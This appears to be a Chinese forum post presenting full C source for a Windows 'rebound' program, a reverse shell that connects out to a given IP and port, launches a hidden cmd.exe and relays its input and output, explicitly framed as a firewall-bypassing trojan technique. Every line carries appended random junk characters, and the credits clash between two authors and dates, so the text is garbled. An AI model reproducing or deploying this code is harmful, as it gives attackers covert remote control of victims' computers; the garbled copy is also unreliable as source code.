这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2wO8;wiA
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/* ============================== 9q0s
Rebound port in Windows NT x]YzVJ =Y
By wind,2006/7 kj|Oj+&
===============================*/ v1i-O'
#include F
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#include ;4-$C =&
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#pragma comment(lib,"wsock32.lib") !DA4q3-U>>
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void OutputShell(); @G]*]rkKb
SOCKET sClient; 2Rys:$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U$DZht4>u
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void main(int argc,char **argv) aVHID{Gf Z
{ +uF}mZS^
WSADATA stWsaData; \a0{9Xx F
int nRet; fph+05.%
SOCKADDR_IN stSaiClient,stSaiServer; ^+%bh/2_W
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if(argc != 3) J|jvqt9C
{ % dFz[b
printf("Useage:\n\rRebound DestIP DestPort\n"); a(IE8:yU`
return; DMA7eZf'Hv
} %npLgCF
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WSAStartup(MAKEWORD(2,2),&stWsaData); O_s/BoB@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q9x@Pc29d
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stSaiClient.sin_family = AF_INET; @Wd(>*"zw
stSaiClient.sin_port = htons(0); 5 jK|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (eb65F@ P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CUTjRWQ
{ M'|[:I.V
printf("Bind Socket Failed!\n"); 8MW-JZ
return; 5o{U$
} RJ3uu NK7
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stSaiServer.sin_family = AF_INET; QDJ#zMxFD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o *U-.&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >&>EjK4?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m{>"
{ x| D|d}
printf("Connect Error!"); V!*1F1
return; [<
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} fb0)("_V
OutputShell(); w&#[g9G%
}
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void OutputShell() $EIKi'!8
{ N:'GNMu
char szBuff[1024]; YG?4DF
SECURITY_ATTRIBUTES stSecurityAttributes; M-;MwLx
OSVERSIONINFO stOsversionInfo; [+5g 9tBJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lO9Ixhf~iu
STARTUPINFO stStartupInfo; G]xYQ]
char *szShell; kDJqT
PROCESS_INFORMATION stProcessInformation; |61ns6i!
unsigned long lBytesRead; vx6lud0k}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eo;MFd%;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TqS s*as5
stSecurityAttributes.lpSecurityDescriptor = 0; 5s%e9x|kP
stSecurityAttributes.bInheritHandle = TRUE; cJ?,\@uuP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :SwA) (1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H#X*OJ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Nz"K`C>/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g"!cO^GkT
stStartupInfo.wShowWindow = SW_HIDE; "tOm
stStartupInfo.hStdInput = hReadPipe; %Y/;jCY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $M,Q"QL
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GetVersionEx(&stOsversionInfo); G{|"WaKW
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switch(stOsversionInfo.dwPlatformId) | Wj=%Ol%o
{ '8R5Tl
case 1: $AZ=;iP-
szShell = "command.com"; &&jQ4@m}j
break; 'lEIwJV$
default: 2ER_?y
szShell = "cmd.exe"; 37IHn6r\
break; $\k)Y(&
} K}n.k[Do
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U7fNA7#x"
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send(sClient,szMsg,77,0); '9qyf<MlY
while(1) Gys-Im6>~@
{ xz}CqPJ#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A#Ga!a
if(lBytesRead) V\n!?1{kdF
{ uARkf'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N*PJ m6-
send(sClient,szBuff,lBytesRead,0); d@8:f
} vN]_/T+
else R:'&>.AUw
{ D5Jg(-
lBytesRead=recv(sClient,szBuff,1024,0); <)_#6)z:
if(lBytesRead<=0) break; %PPy0RZ^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ncVt(!c,e
} dB&<P[$+8
} FKe/xz
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return; >#;_Ebl@
}